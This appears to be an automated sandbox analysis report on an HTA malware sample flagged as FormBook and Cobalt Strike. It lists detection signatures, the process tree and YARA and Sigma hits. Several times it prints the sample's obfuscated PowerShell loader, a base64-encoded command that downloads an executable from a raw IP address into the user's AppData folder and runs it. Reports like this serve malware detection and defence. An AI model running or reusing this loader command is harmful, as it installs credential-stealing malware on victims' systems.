Edit tour

Windows Analysis Report
njo.hta

Overview

General Information

Sample name:	njo.hta
Analysis ID:	1665583
MD5:	35f2168ec2d472916d0edfdd18d745cd
SHA1:	0b8f26005fff271f8f056d7c06d006a4aaed2ca2
SHA256:	809b32dd0caf464b9dda815143b7bf0e08d5d8da0ee8a386fbdc8ad51773ee55
Tags:	htauser-abuse_ch
Infos:

Detection

Cobalt Strike, FormBook

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected Cobalt Strike Beacon

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected FormBook

Yara detected Powershell decode and execute

Binary is likely a compiled AutoIt script file

Found direct / indirect Syscall (likely to bypass EDR)

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

PowerShell case anomaly found

Powershell drops PE file

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Suspicious MSHTA Child Process

Suspicious command line found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Checks if the current process is being debugged

Compiles C# or VB.Net code

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Uncommon Svchost Parent Process

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

mshta.exe (PID: 7572 cmdline: mshta.exe "C:\Users\user\Desktop\njo.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

cmd.exe (PID: 7664 cmdline: "C:\Windows\system32\cmd.exe" "/C POwERsHElL.exE -Ex bypass -NOp -w 1 -C DEVIcecreDEntIalDePLoyMEnT.ExE ; IEX($(IEX('[SysteM.texT.ENCoDINg]'+[ChaR]0X3a+[ChaR]58+'utf8.getStrinG([systEm.cONveRt]'+[char]58+[cHar]58+'FrOmbAse64STRinG('+[CHar]0X22+'JFpzb2RoaDdrWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iRVJkRWZpTkl0aU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1Ukxtb04uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVb2pXamtsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYW15WG92b08sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZHY09aUFhYaCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJaUXhpdVksSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhIbCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY09pYm9lIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxBdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRac29kaGg3a1g6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjIwOC4yMS8yMzMvaWdjYy5leGUiLCIkRU5WOkFQUERBVEFcaWdjYy5leGUiLDAsMCk7c3RhUnQtc0xlZVAoMyk7aW52T0tlLWlURW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxpZ2NjLmV4ZSI='+[CHaR]34+'))')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7716 cmdline: POwERsHElL.exE -Ex bypass -NOp -w 1 -C DEVIcecreDEntIalDePLoyMEnT.ExE ; IEX($(IEX('[SysteM.texT.ENCoDINg]'+[ChaR]0X3a+[ChaR]58+'utf8.getStrinG([systEm.cONveRt]'+[char]58+[cHar]58+'FrOmbAse64STRinG('+[CHar]0X22+'JFpzb2RoaDdrWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iRVJkRWZpTkl0aU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1Ukxtb04uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVb2pXamtsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYW15WG92b08sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZHY09aUFhYaCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJaUXhpdVksSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhIbCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY09pYm9lIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxBdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRac29kaGg3a1g6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjIwOC4yMS8yMzMvaWdjYy5leGUiLCIkRU5WOkFQUERBVEFcaWdjYy5leGUiLDAsMCk7c3RhUnQtc0xlZVAoMyk7aW52T0tlLWlURW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxpZ2NjLmV4ZSI='+[CHaR]34+'))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

csc.exe (PID: 8064 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qetstupm\qetstupm.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 8108 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD004.tmp" "c:\Users\user\AppData\Local\Temp\qetstupm\CSCEF30E185BA76444FA670BC63B6F1A196.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

igcc.exe (PID: 2668 cmdline: "C:\Users\user\AppData\Roaming\igcc.exe" MD5: BF53CF5790AB537024A9A9C71CF399D6)

svchost.exe (PID: 5672 cmdline: "C:\Users\user\AppData\Roaming\igcc.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

WRNKS5Hlc0y.exe (PID: 1336 cmdline: "C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\lfyLlz8ui.exe" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A)

AtBroker.exe (PID: 7400 cmdline: "C:\Windows\SysWOW64\AtBroker.exe" MD5: D5B61959A509BDA85300781F5A829610)

firefox.exe (PID: 7756 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000010.00000002.3663915117.0000000003080000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000010.00000002.3664272191.0000000003320000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000D.00000002.1614478454.0000000007480000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000D.00000002.1609453239.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000F.00000002.3675591492.0000000006A30000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000010.00000002.3664383512.0000000003370000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000D.00000002.1611189571.00000000047A0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000F.00000002.3666208376.0000000002DE0000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
13.2.svchost.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
13.2.svchost.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi32_7716.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\system32\cmd.exe" "/C POwERsHElL.exE -Ex bypass -NOp -w 1 -C DEVIcecreDEntIalDePLoyMEnT.ExE ; IEX($(IEX('[SysteM.texT.ENCoDINg]'+[ChaR]0X3a+[ChaR]58+'utf8.getStrinG([systEm.cONveRt]'+[char]58+[cHar]58+'FrOmbAse64STRinG('+[CHar]0X22+'JFpzb2RoaDdrWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iRVJkRWZpTkl0aU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1Ukxtb04uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVb2pXamtsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYW15WG92b08sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZHY09aUFhYaCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJaUXhpdVksSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhIbCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY09pYm9lIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxBdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRac29kaGg3a1g6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjIwOC4yMS8yMzMvaWdjYy5leGUiLCIkRU5WOkFQUERBVEFcaWdjYy5leGUiLDAsMCk7c3RhUnQtc0xlZVAoMyk7aW52T0tlLWlURW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxpZ2NjLmV4ZSI='+[CHaR]34+'))')))", CommandLine: "C:\Windows\system32\cmd.exe" "/C POwERsHElL.exE -Ex bypass -NOp -w 1 -C DEVIcecreDEntIalDePLoyMEnT.ExE ; IEX($(IEX('[SysteM.texT.ENCoDINg]'+[ChaR]0X3a+[ChaR]58+'utf8.getStrinG([systEm.cONveRt]'+[char]58+[cHar]58+'FrOmbAse64STRinG('+[CHar]0X22+'JFpzb2RoaDdrWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iRVJkRWZpTkl0aU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1Ukxtb04uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVb2pXamtsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYW15WG92b08sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZHY09aUFhYaCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJaUXhpdVksSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhIbCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY09pYm9lIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtR

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qetstupm\qetstupm.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qetstupm\qetstupm.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: POwERsHElL.exE -Ex bypass -NOp -w 1 -C DEVIcecreDEntIalDePLoyMEnT.ExE ; IEX($(IEX('[SysteM.texT.ENCoDINg]'+[ChaR]0X3a+[ChaR]58+'utf8.getStrinG([systEm.cONveRt]'+[char]58+[cHar]58+'FrOmbAse64STRinG('+[CHar]0X22+'JFpzb2RoaDdrWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iRVJkRWZpTkl0aU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1Ukxtb04uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVb2pXamtsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYW15WG92b08sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZHY09aUFhYaCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJaUXhpdVksSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhIbCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY09pYm9lIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxBdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRac29kaGg3a1g6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjIwOC4yMS8yMzMvaWdjYy5leGUiLCIkRU5WOkFQUERBVEFcaWdjYy5leGUiLDAsMCk7c3RhUnQtc0xlZVAoMyk7aW52T0tlLWlURW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxpZ2NjLmV4ZSI='+[CHaR]34+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7716, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qetstupm\qetstupm.cmdline", ProcessId: 8064, ProcessName: csc.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7716, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\igcc[1].exe

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\AppData\Roaming\igcc.exe" , CommandLine: "C:\Users\user\AppData\Roaming\igcc.exe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\igcc.exe" , ParentImage: C:\Users\user\AppData\Roaming\igcc.exe, ParentProcessId: 2668, ParentProcessName: igcc.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\igcc.exe" , ProcessId: 5672, ProcessName: svchost.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7716, TargetFilename: C:\Users\user\AppData\Local\Temp\qetstupm\qetstupm.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: POwERsHElL.exE -Ex bypass -NOp -w 1 -C DEVIcecreDEntIalDePLoyMEnT.ExE ; IEX($(IEX('[SysteM.texT.ENCoDINg]'+[ChaR]0X3a+[ChaR]58+'utf8.getStrinG([systEm.cONveRt]'+[char]58+[cHar]58+'FrOmbAse64STRinG('+[CHar]0X22+'JFpzb2RoaDdrWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iRVJkRWZpTkl0aU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1Ukxtb04uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVb2pXamtsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYW15WG92b08sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZHY09aUFhYaCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJaUXhpdVksSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhIbCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY09pYm9lIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxBdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRac29kaGg3a1g6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjIwOC4yMS8yMzMvaWdjYy5leGUiLCIkRU5WOkFQUERBVEFcaWdjYy5leGUiLDAsMCk7c3RhUnQtc0xlZVAoMyk7aW52T0tlLWlURW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxpZ2NjLmV4ZSI='+[CHaR]34+'))')))", CommandLine: POwERsHElL.exE -Ex bypass -NOp -w 1 -C DEVIcecreDEntIalDePLoyMEnT.ExE ; IEX($(IEX('[SysteM.texT.ENCoDINg]'+[ChaR]0X3a+[ChaR]58+'utf8.getStrinG([systEm.cONveRt]'+[char]58+[cHar]58+'FrOmbAse64STRinG('+[CHar]0X22+'JFpzb2RoaDdrWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iRVJkRWZpTkl0aU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1Ukxtb04uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVb2pXamtsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYW15WG92b08sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZHY09aUFhYaCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJaUXhpdVksSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhIbCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY09pYm9lIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxBdCAgICAgICA

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\user\AppData\Roaming\igcc.exe" , CommandLine: "C:\Users\user\AppData\Roaming\igcc.exe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\igcc.exe" , ParentImage: C:\Users\user\AppData\Roaming\igcc.exe, ParentProcessId: 2668, ParentProcessName: igcc.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\igcc.exe" , ProcessId: 5672, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qetstupm\qetstupm.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qetstupm\qetstupm.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: POwERsHElL.exE -Ex bypass -NOp -w 1 -C DEVIcecreDEntIalDePLoyMEnT.ExE ; IEX($(IEX('[SysteM.texT.ENCoDINg]'+[ChaR]0X3a+[ChaR]58+'utf8.getStrinG([systEm.cONveRt]'+[char]58+[cHar]58+'FrOmbAse64STRinG('+[CHar]0X22+'JFpzb2RoaDdrWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iRVJkRWZpTkl0aU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1Ukxtb04uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVb2pXamtsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYW15WG92b08sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZHY09aUFhYaCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJaUXhpdVksSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhIbCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY09pYm9lIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxBdCAgI